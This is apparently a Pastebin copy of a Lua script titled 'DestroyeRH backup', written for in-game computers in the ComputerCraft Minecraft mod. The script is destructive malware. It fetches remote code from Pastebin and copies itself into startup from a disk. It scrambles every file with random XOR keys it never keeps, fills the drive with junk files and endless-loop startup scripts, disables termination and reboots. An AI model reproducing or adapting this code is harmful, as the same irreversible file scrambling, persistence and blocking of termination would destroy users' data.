Advertisement
9551

DestroyeRH backup

Aug 2nd, 2021 (edited)
121
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 2.29 KB | None | 0 0
  1. settings.set("shell.allow_disk_startup",false)
  2. settings.save()
  3. if not fs.exists("strings42343264632456342") then
  4.     shell.run("pastebin get FeHQyxZ8 strings42343264632456342")
  5. end
  6. local s = require("../strings42343264632456342")
  7. if s.ensure_width(shell.getRunningProgram(), 4) == "disk" then
  8.     if not fs.exists("startup.lua") then
  9.         fs.copy("disk/startup", "startup.lua")
  10.     end
  11. end
  12. if not fs.exists("startup") then
  13.     fs.makeDir("startup")
  14. end
  15. local function filess(seed, inside)
  16.     local res = {}
  17.     math.randomseed(seed)
  18.     for i = 1, #inside do
  19.         res[i] = bit32.bxor(math.random(0, 255), inside:byte(i))
  20.     end
  21.     return string.char(unpack(res))
  22. end
  23. math.randomseed(math.random(0, 100000000))
  24. local files = fs.list("./")
  25. if #fs.list("./") < 1000 then
  26.     for i = 1, #files do
  27.         if files[i] ~= "startup.lua" and files[i] ~= "startup" and files[i] ~= "strings" and not fs.isDir(files[i]) then
  28.             local rf = fs.open(files[i], "r")
  29.             local rd = filess(math.random(1,100000000), rf.readAll())
  30.             math.randomseed(math.random(0, 100000000))
  31.             rf.close()
  32.             local rf = fs.open(files[i], "w")
  33.             rf.write(rd)
  34.             rf.close()
  35.             fs.move(files[i], "." .. tostring(math.random(0, 10000000)))
  36.         end
  37.     end
  38.     for i = 1, 1500 do
  39.         local random = math.random(1, 10000000)
  40.         local ran2 = math.random(0, 1)
  41.         math.randomseed(random)
  42.         if fs.getFreeSpace(".") > 1000 then
  43.             if ran2 == 1 then
  44.                 if not fs.exists(tostring(random)) then
  45.                     local file = fs.open("." .. tostring(random), "w")
  46.                     file.close()
  47.                 end
  48.             else
  49.                 if not fs.exists(tostring(random)) then
  50.                     local f = fs.open("startup/" .. "." .. tostring(random), "w")
  51.                     f.writeLine(
  52.                         "while true do print(math.random(0,100000000000000)..math.random(0,100000000000000)) end"
  53.                     )
  54.                     f.close()
  55.                 end
  56.             end
  57.         else
  58.         end
  59.     end
  60. end
  61. _G.os.pullEvent = function()
  62.     return "nope"
  63. end
  64. local files = fs.list("startup")
  65. for i = 1, #files do
  66.     shell.run("startup/" .. files[i])
  67. end
  68. os.reboot()
  69.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement